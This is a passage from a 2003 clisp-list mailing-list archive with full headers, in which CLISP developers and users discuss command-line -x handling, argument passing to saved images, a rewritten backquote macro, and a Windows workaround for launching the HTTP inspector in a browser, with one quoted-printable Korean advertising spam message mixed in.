is an incompatible change of dubious value. if you want -x, you are probably in a script or makefile and will have to add (exit) as the last form. if you want REPL, you can either start with your forms or put them into init-function of your memory image. > - each form processed by a -x option would be executed before the > next -x is processed (like if each form was on a different line > in a script or interactively). this is already done with multiple forms as -x argument > - all the -x options should be run after loading the image, but > before running the init-function. Well, this point is to be > studied. If we consider the init-function as a "main" entry > point into the program saved in the image, then we want the -x > forms be run before because the init-function would run the > program and then exit. On the other hand, if the init-function > is merely an initialization function and then return to the top > level loop, we may want to be able to run the -x forms after > this initialization. init-function is for initialization. e.g., this is the right place to reset the -encoding* places if you do not want to set your environment properly. you don't want to run anything before it. > Do not adjust your mind, there is a fault in reality. Please do adjust your mind as documented above and update your proposals accordingly. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux When you talk to God, it's prayer; when He talks to you, it's schizophrenia. From kaz@footprints.net Mon Mar 17 11:11:17 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18v00U-0008Fq-00 for ; Mon, 17 Mar 2003 11:10:46 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18uzzw-0004GA-00; Mon, 17 Mar 2003 11:10:12 -0800 From: Kaz Kylheku To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E79C@G8PQD.blf01.telekom.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 11:12:07 2003 X-Original-Date: Mon, 17 Mar 2003 11:10:12 -0800 (PST) On Mon, 17 Mar 2003, Hoehle, Joerg-Cyril wrote: > Kaz Kylheku wrote: > > The job of expansion, rather, is moved > >into the macro itself. So we now have a thick macro, but a thin reader > >macro rather than the other way around. > > If it's in a macro (instead of read-time), it makes me wonder whether > it can also insert into a vector: > > [51]> `#(1 2 ,(list 2 3) 3) > #(1 2 (2 3) 3) Yes. This will turn into the code (backquote #(1 2 (unquote (list 2 3)))) The macro will note that the argument form is a vector and generate code which performs the backquote expansion on the list, and then converts the result to a vector. The latest otpimized version will in fact turn it, I think, into: (apply #'vector '(1 2 (2 3) 3)) Which reminds me that I should add some optimization for reducing a constant list to a constant vector; we should be spitting out the literal object: #(1 2 (2 3) 3) > Normally, using macros instead of reader stuff only allows code > transformations in places that get evaluated (i.e. forms, e.g. not > inside a (declare #) expression). I don't think backquote is required to work in (declare ...) expressions, because the code which a backquote generates has no way to execute. That is, if you expand the equivalent code by hand, it still won't work: ;; can't do this (declare (list 'optimize (list 'speed speed) (list 'safety safety))) ;; so don't expect this (declare `(optimize (speed ,speed) (safety ,safety))) Note that the existing implementation of backquote in CLISP is a still a macro, albeit a trivial one. All it does is regurgitate the second argument, because the structure of a backquote expression is: (SYSTEM::BACKQUOTE PRETTY-PRINT-FORM EXPANDED-FORM) The macro simply returns the EXPANDED-FORM which was computed at read time. But evaluation is still required for it to do that. The one advantage of this approach is that the expanded form is *there* whether you evaluate or not, so if you inspect the program source code as an object, you will find it---provided that the source code was produced by the reader, or else care was otherwise taken to add the second argument representing a correct backquote expansion of the first. > You'd have to guess somehow that the > #() which is being read is not a literal array. Do you provide for > this? I don't follow, because #() *is* a literal array. Maybe you are thinking of the array notation #A? No, this is one bug which I will probably not worry about. That is, I do not distinguish between #(1 2 3) and #1A(1 2 3) (one dimensional array). So in fact unquoting will work over #1A array notation: `#1A(1 ,@'(2 3) 4) ;; wee! We can think of this as an extension which is not forbidden by the spec according to my interpretation. All we know in the macro is that we have some argument which is a vector object. We don't know whether it came from the notation #(...) or whether it came from #1A(...) but we know it's one of these two---unless someone constructed the backquote source code programmatically, using something like: (list 'system::backquote (vector 1 (list 'system::unquote 'a) 2)) ==> `#(1 ,A 2) when this is EVAL'ed, the backquote macro will think that the vector came from a #(...) notation, and treat the embedded unquote as expected. This is an extension of behavior to backquote, which is specified purely in terms of reader actions. This is a feature: we want the backquote notation to have a list-based target language such that we can write code which writes that language. In stock CLISP, this fails: if we EVAL the result of the above list construction, we get NIL. Why? Because the second parameter to the backquote, the expanded form, is missing. The macro does nothing; expecting a reader to have produced the expansion. But the pretty printer tells you a nice white lie by showing the object as a backquote notation. From master@89894.com Mon Mar 17 11:20:01 2003 Received: from [61.79.135.170] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18v09P-0003bG-00 for ; Mon, 17 Mar 2003 11:19:59 -0800 Message-ID: <326710-220032117737678@89894.com> X-EM-Version: 6, 0, 0, 4 X-EM-Registration: #0010630410721500AB30 Reply-To: master@89894.com From: "½Å¿ë ö" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=KS_C_5601-1987 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] (±¤°í)¾Æ´Ï! ÀÌ ¹«½¼ ³¿»õ......???@ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 11:20:48 2003 X-Original-Date: Mon, 17 Feb 2003 16:37:06 +0900

=C1=A4=BA=B8=C5=EB=BD=C5=BA=CE =B1=C7=B0=ED =BB=E7=C7=D7=BF= =A1 =C0=C7=B0=C5 =C1=A6=B8=F1=BF=A1 [=B1=A4=B0=ED]=B6=F3=B0=ED =C7=A5=B1=E2=C7=D1 =B1=A4=B0=ED =B8=DE=C0= =CF=C0=D4=B4=CF=B4=D9=2E
=BC=F6=BD=C5=C0=BB =BF=F8=C4=A1 =BE=CA=C0=B8=BD= =C3=B8=E9 = =BC=F6=BD=C5=B0=C5=BA=CE=B8=A6 =B4=AD=B7=AF=C1=D6=BC=BC=BF=E4

 

 

 

(=B1=A4=B0=ED)=BE=C6=B4=CF!  =C0=CC =B9=AB=BD=BC=20 =B3=BF=BB=F5=2E=2E=2E=2E=2E=2E???@

 

=

=BE=C8=B3=E7= =C7=CF=BC=BC=BF=E4 $EmailTo =B4=D4!!!

=B9=E6=C7=E2=C1=A6=20 =B6=A7=B9=AE=BF=A1 =B8=D3=B8=AE=B0=A1 =BE=C6=C7=C1=BD=C3=C1=D2=2E=2E=2E!  =20 =C0=CC=B7=B8=B0=D4 =C7=CF=BD=C3=B8=E9 =B5=CB=B4=CF=B4=D9=2E<= /SPAN>

 

=B8= =F0=B5=E7=20 =B3=BF=BB=F5 =BE=C7=C3=EB=C1=A6=B0=C5 =C0=FC=B9=AE=2E=2E= =2E=2E=2E=2E

=C3=B5=BF=AC=BF=F8=B7=E1=20 =C1=A6=C7=B0=C0=B8=B7=CE =C0=CE=C3=BC =C0=FC=BF=AC =B9=AB=C7=D8=C7=CF=B0=ED= =C0=DA=BF=AC =C4=A3=C8=AD=C0=FB=C0=CE =C1=A6=C7=B0=C0=B8=B7=CE =B5=CE=C5=EB= =C0=BB =C0=AF=B9=DF=C7=CF=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E=2E=2E=2E=2E

=B4=E3=B9=E8=B3=BF=BB=F5, =C0=BD=BD=C4=B3=BF=BB= =F5, =B0=F5=C6=CE=C0=CC=B3=BF=BB=F5, =B0=F5=C6=CE=C0=CC=BC=BC=B1=D5, =B9=AB= =C1=BB=B1=D5, =B9=DF=B3=BF=BB=F5, =C0=CE=C3=BC=B3=BF=BC=BC, =B5=C8=C0=E5=B1=B9=B3=BF=BB=F5= , =C3=BB=B1=B9=C0=E5=B3=BF=BB=F5,=20 =C0=CE=C5=D7=B8=AE=BE=EE =B3=BB=C0=E5=C0=E7 =B3=BF=BB=F5,

=C7=CF=BC=F6=B1=B8=B3=BF=BB=F5, =B0=A2=C1=BE =C4= =FB=C4=FB=C7=D1 =B3=BF=BB=F5, =BD=C2=BF=EB=C2=F7=BE=C8=C0=C7 =B3=BF=BB=F5,= =B0=A1=C3=E0=B3=BF=BB=F5, =B0=A1=C3=E0 =BA=D0=B4=A2=B3=BF=BB=F5, =C8=AD=C0= =E5=BD=C7=B3=BF=BB=F5, =BE=B2=B7=B9=B1=E2=B3=BF=BB=F5,=20 =BE=B2=B7=B9=B1=E2=C0=E5 =BE=C7=C3=EB,=

=C1=A4=C8=AD=C1=B6 =B3=BF=BB=F5, =BA=B4=BF=F8 = =C0=D4=BF=F8=BD=C7=B3=BF=BB=F5, =C1=F6=C7=CF=BD=C7 =C4=FB=C4=FB=C7=D1=20 =B3=BF=BB=F5,

=C0=CC =B8=F0=B5=E7 =B3=BF=BB=F5=BF=CD =BE=C7=C3=EB=B8=A6 =B1=D9=BF= =F8=C0=FB=C0=B8=B7=CE =BA=D0=C7=D8 =C1=A6=B0=C5=C7=CF=B8=E7 =B0=A2=C1=BE =BC= =BC=B1=D5=C0=BB =BB=EC=B1=D5=C3=B3=B8=AE=C7=D5=B4=CF=B4=D9=2E=2E=2E=2E

 

 

www=2E89894=2Ecom  =BF=A1=BC=AD

 

=B3=BF=BB=F5=BF=F8=C0=BB =C1=A6=B0=C5=C7=D1=B5=DA =C0=DA=BF=AC=C7= =E2=C0=BB =C0=BA=C0=BA=C7=CF=B0=D4 =C7=B3=B1=E2=BE=EE =C1=DD=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

%%%  =20 =C3=DF=BB=E7   %%%

 

=C1=A6=C7=B0=C0=BB=20 =B1=B8=C0=D4=C7=CF=BD=C5=BA=D0=BF=A1 =C7=D1=C7=D8=BC=AD cafe=2Edaum=2Enet/106030 =B9=AB=C7=D1=B5=BF=B7=C2 =C4=AB=C6=E4=BF=A1 =C4=AB=C5=D7=B0=ED=B8=AE =C8=B8=BF=F8 =B5=EE=B7=CF=B6=F5=C0=BB =C5=AC=B8=AF= =C7=CF=B0=ED =B5=E9=BE=EE=B0=A1=BC=AD=20 =B1=DB=C0=BB=B3=B2=B0=DC=B3=F5=C0=B8=BD=C3=B8=E9 =B9=AB=C7=D1=B5=BF=B7=C2 = =B0=B3=B9=DF=C0=BB(=B3=E2=B8=BB=BE=C8=BF=A1 =BF=CF=B7=E1=BF=B9=C1=A4) =BF=CF= =B7=E1=C8=C4 =C3=A2=BE=F7 =C1=D6=C1=D6=B0=A1=B5=C7=BD=C7=BC=F6=C0=D6=B4=C2 =BF=EC=BC=B1=B1=C7 =B9=D7= =C0=DA=B0=DD=C0=CC=20 =C1=D6=BE=EE=C1=FD=B4=CF=B4=D9=2E=2E=2E

 

  ^^**^^    ^^**^^   =20 ^^**^^

 

=BC=EE=C7=CE=B8=F4     :=20 www=2E89894=2Ecom

=C0=FC  =20 =C8=AD     :=20 031-394-0045   hp :=20 011-281-1434   =BD=C5  =BF=EB =20 =C3=B6

=B9=AB=C7=D1 =B5=BF=B7=C2 :=20 cafe=2Edaum=2Enet/106030

 

=B0=A8=BB=E7 =C7=D5=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

From lisp-clisp-list@m.gmane.org Mon Mar 17 12:44:49 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18v1TQ-0005MA-00 for ; Mon, 17 Mar 2003 12:44:44 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18v1SV-0005b0-00 for ; Mon, 17 Mar 2003 21:43:47 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18v1SU-0005ar-00 for ; Mon, 17 Mar 2003 21:43:46 +0100 From: Sam Steingold Organization: disorganization Lines: 46 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E79C@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 14:03:32 2003 X-Original-Date: 17 Mar 2003 15:45:27 -0500 > * In message > * On the subject of "Re: New, from-scratch implementation of backquote." > * Sent on Mon, 17 Mar 2003 11:10:12 -0800 (PST) > * Honorable Kaz Kylheku writes: > > That is, I do not distinguish between #(1 2 3) and #1A(1 2 3) (one > dimensional array). > > So in fact unquoting will work over #1A array notation: > > `#1A(1 ,@'(2 3) 4) ;; wee! > > We can think of this as an extension which is not forbidden by the > spec according to my interpretation. : * `basic is the same as 'basic, that is, (quote basic), for any expression basic that is not a list or a general vector. ... * #(x1 x2 x3 ... xn) may be interpreted to mean (apply #'vector `(x1 x2 x3 ... xn)). #1A is not mentioned. I suggest raising this on c.l.l. personally, I would rather signal an error here, like CMUCL and unpatched CLISP (ACL? LW?) do because - when you write a literal, your would write #() anyway, so the simple user does not lose - when you generate the form, you should make sure that the dim is 1 anyway, so you can use #() just as well - when the user sees that `#1A(1 2 ,a 4) works but `#2A((1 2) (,a 4)) does not, the user would be rightfully surprised; he will also think that `#2A(,a ,b) should work when a and b are sequences of the same length &c &c... -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Who is General Failure and why is he reading my hard disk? From pascal@informatimago.com Mon Mar 17 21:13:07 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18v9PK-0006Ic-00 for ; Mon, 17 Mar 2003 21:13:05 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id AF0A99597A; Tue, 18 Mar 2003 06:12:50 +0100 (CET) From: Pascal Bourguignon Message-ID: <15990.43730.689673.559244@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org Subject: Re: [clisp-list] arguments to a saved image? 3 suggestions. In-Reply-To: References: <20030317075353.3E66394FE6@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 17 21:14:02 2003 X-Original-Date: Tue, 18 Mar 2003 06:12:50 +0100 Sam Steingold writes: > > Notably,=20 > >=20 > > #!/bin/sh > > /usr/bin/clisp -M image.mem -x "(setq ext:*args* '($@))" > >=20 > > does not work because -x just executes one form then exits! > > indeed, as documented > So I was wrong here, -x executes several forms (-x expressionS) . =20 > > How one can pass arguments to a saved image with a init-function? >=20 > >=20 > $ clisp -M image.mem "" my-arg1 my-arg2 my-arg3 Any reason in particular why it does not use the standard (or at least, the classical) -- argument separator? You don't expect us to read the whole documentation, do you? I've searched for '--' in the manual page and since I've not found it I concluded erroneously that the feature was not there. > try >=20 > clisp -x '(defpackage "TEST") (defun test::f ())' Yes, it works. Thank you. I must confess that I infered that it expected only one form from my previous experience with emacs. Sorry. But since the ability to process several forms is already there, why not allowing several -x options too? > > - several -x options must be allowed, >=20 > clisp -x "(foo)" -x "(bar)" =3D=3D=3D clisp -x "(foobar)" Or perhaps: clisp -x "(foo) (bar)" > what do we need the sugar for? Convenience. To match expectation from people having used other similar programs. > > - clisp should not exit automatically after a -x form is processe= d. >=20 > this is an incompatible change of dubious value. > if you want -x, you are probably in a script or makefile and will have > to add (exit) as the last form. Once again, at least one pre-existing lisp (emacs) does it the other way. Why would you want to be incompatible with it and break expectations? > > Do not adjust your mind, there is a fault in reality. >=20 > Please do adjust your mind as documented above and update your > proposals accordingly. In any case, thank you for helping me seeing it the clisp way. :-) While it may be hard to ask for a full compatibility with the emacs command line arguments, (with respect to -x/--eval etc), I would suggest to add "--" as alternate separator for the arguments passed to ext:*arg* in addition to "". Note that it is sometimes hard to ensure the presence of an empty arguments. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From df@psychology.nottingham.ac.uk Tue Mar 18 02:13:32 2003 Received: from cpsyc.psychology.nottingham.ac.uk ([128.243.31.9] helo=psychology.nottingham.ac.uk) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vE4e-0001Wm-00 for ; Tue, 18 Mar 2003 02:12:00 -0800 Received: from [128.243.33.156] ([128.243.33.156] verified) by psychology.nottingham.ac.uk (CommuniGate Pro SMTP 4.0.3) with ESMTP id 468750 for clisp-list@lists.sourceforge.net; Tue, 18 Mar 2003 10:10:28 +0000 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.5 From: Daniel Freudenthal To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: [clisp-list] inspector via browser Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 18 02:14:07 2003 X-Original-Date: Tue, 18 Mar 2003 10:10:40 +0000 First of all, Using the quit URL *does* return me to the prompt. Sorry, my fault, I have probably been trying too many things at the same time. I still can't quite seem to get Netscape to launch on the correct page though. As it turns out, the page it directs me to is the 'smart browsing' page. Disabling smart browsing, I notice that the address displayed in the URL line is: "&". Netscape is then unable to resolve this host. Pasting the URL that inspect prints (using either 127.0.0.1, localhost, or the URL that is given when no browser is specified) works fine. I don't know if this is be a proxy problem, but changing proxy settings (either in Netscape where I added 127.0.0.1 to list of URLs that bypass the proxy), or in control panel (bypass proxy for local address in internet options) does not change much. By the way, when trying to launch IE (I know this is not going to work, but still), it tries to open something like 127.0.0.1...:s%20& (going from memory here) For a while I thought that maybe inspect might be sending a different URL, but adding (format t "http://~a:~d/0/:s" (if *inspect-browser* "127.0.0.1" (subseq host 0 (position #\Space host))) port) to inspect-frontend in inspect.lisp (this is the bit called by browse-url, which I presume launches the browser), prints the exact same url that inspect normally does. So, it does look like inspect invokes Netscape with the URL that works fine when I paste it. So maybe there is something wrong with my (proxy) settings? I have set explicit proxies for my browsers, but like I said, setting the local address to be bypassed doesn't change much. I'm sorry, but I'm in the dark here. By the way, I am running CLISP 2.30, under EMACS 21.2, Netscape 7.02. I've tried this on both XP and Win2K with the same effect, so XP does not appear to be the problem. I doubt if this is relevant, but I am behind a hardware router and firewall. Any help is appreciated. Thanks, Daniel Freudenthal From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 18 02:27:01 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vEJ8-0008Fs-00 for ; Tue, 18 Mar 2003 02:26:59 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 18 Mar 2003 11:11:54 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 18 Mar 2003 11:11:54 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02E73873@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: AW: [clisp-list] arguments to a saved image? 3 suggestions. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 18 02:27:22 2003 X-Original-Date: Tue, 18 Mar 2003 11:11:51 +0100 Hi, I think Sam did a great job in his reply by addressing each of Pascal's issues one at a time. What I notice clisp --help says: -x expression - execute the expression, then exit Obviously it should mention expressions (plural) instead - RFE/Documentation bug Furthermore, clisp.html would live from a few examples (like those from Sam in his reply). That IMHO provides for a good mix between reference (where one must read a lot), quick refreshing of memory and even raising curiosity of casual readers. Would you like to supply a patch, based on your experience? Other manpages also present examples (e.g. ps). About '--'. I thought CLISP already supplied all options after -- in ext:*args*?!? Maybe I misunderstood something in past trafic of clisp-list? E.g. lisp.run -M foo.mem -i myfile -i myfiletoo.lisp -- to-be-found-in-args ? At least, I think that would be nice in interactive mode as well. -- and consistent with file-load mode. Regards, Jorg Hohle. From pascal@informatimago.com Tue Mar 18 03:04:51 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vEtj-0004HK-00 for ; Tue, 18 Mar 2003 03:04:51 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id C1CC995850; Tue, 18 Mar 2003 12:04:16 +0100 (CET) From: Pascal Bourguignon Message-ID: <15990.64816.768934.235898@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] arguments to a saved image? 3 suggestions. In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02E73873@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE02E73873@G8PQD.blf01.telekom.de> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 18 03:05:12 2003 X-Original-Date: Tue, 18 Mar 2003 12:04:16 +0100 Hoehle, Joerg-Cyril writes: >=20 > About '--'. I thought CLISP already supplied all options after -- in > ext:*args*?!? Maybe I misunderstood something in past trafic of > clisp-list? E.g. lisp.run -M foo.mem -i myfile -i myfiletoo.lisp -- > to-be-found-in-args ? At least, my 2.30 gives an error when passed --: [pascal@thalassa zebu-3.5.5]$ clisp -K full -M `pwd`/Zebu-Compiler.mem --= -h GNU CLISP (http://clisp.cons.org/) is an ANSI Common Lisp. Usage: /local/languages/clisp/lib/clisp/full/lisp.run [options] [lispfil= e [argument ...]] ... With an empty argument it works: [pascal@thalassa zebu-3.5.5]$ clisp -K full -M `pwd`/Zebu-Compiler.mem ""= -h Usage: Zebu-Compile input output [-v] [-d] [-r file] [-h] WARNING: No input file specified! > At least, I think that would be nice in interactive mode as well. > -- and consistent with file-load mode. >=20 > Regards, > Jorg Hohle. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 18 05:38:02 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vHI0-0003VM-00 for ; Tue, 18 Mar 2003 05:38:00 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 18 Mar 2003 13:45:33 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 18 Mar 2003 13:45:32 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02E7390B@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: df@psychology.nottingham.ac.uk Subject: [clisp-list] inspector via browser: MS-IE solution MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 18 05:39:01 2003 X-Original-Date: Tue, 18 Mar 2003 13:45:26 +0100 Daniel Freudenthal writes: >Disabling smart browsing, I notice that the address >displayed in the >URL line is: "&". Netscape is then unable to resolve this host. This shows that you did not successfully apply my patch - it specifically eliminated the "&". Use (trace ext:run-program) and (trace ext:shell) and ignore the *@!#* package lock problem. You will then see what gets used. The trailing "&" must go away on MS-Windows systems. (trace ext:run-program) ** - Continuable Error TRACE(EXT:RUN-PROGRAM): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 2. Break INSPECT-TMP-PACKAGE-615[13]> continue Well, tonight I got the idea that MAKE-PIPE-INPUT/IO/OUTPUT-STREAM knows how to create asynchronous processes in CLISP on MS-Windows. So here's a working MS-IE setting (hack) for me: (defun browse-url (url &key (browser *browser*) (out *standard-output*)) "Run the browser (a keyword in `*browsers*' or a list) on the URL." (let* ((command (etypecase browser (list browser) (symbol (or (cdr (assoc browser *browsers* :test #'eq)) (error "unknown browser: `~s' (must be a key in `~s')" browser '*browsers*))))) (args (mapcar (lambda (arg) (format nil arg url)) (cdr command)))) (cond (command (when out (format out "~&;; running [~s~{ ~s~}]..." (car command) args) (force-output (if (eq out t) *standard-output* out))) (close (ext:make-pipe-output-stream (format nil "\"~A\"~{ ~A~}" (first command) args))) ;;(run-program (car command) :arguments args :wait nil) (when out (format out "done~%"))) ((format t "~s: no browser specified; please point your browser at --> ~%" 'browse-url url))))) (inspect (list-all-packages) :frontend :http :browser '("C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~A")) ;; running ["C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "http://127.0.0.1:4849/0/:s"]... 1. Trace: (EXT:MAKE-PIPE-OUTPUT-STREAM '"\"C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE\" http://127.0.0.1:4849/0/:s") 1. Trace: EXT:MAKE-PIPE-OUTPUT-STREAM ==> #done [after clicking the "quit" URL:] [160]> That's an intermittent hack, until CLISP #+Win32 gets proper run-program :wait nil support built-in *and* the hard-coded "&" UNIX hacks disappear from the source code. Regards, Jorg Hohle. From sds@gnu.org Tue Mar 18 07:12:53 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vIlo-0005dd-00 for ; Tue, 18 Mar 2003 07:12:52 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out004.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030318151245.WTHG7930.out004.verizon.net@loiso.podval.org>; Tue, 18 Mar 2003 09:12:45 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2IFDVTx008227; Tue, 18 Mar 2003 10:13:31 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2IFDTD2008223; Tue, 18 Mar 2003 10:13:29 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, 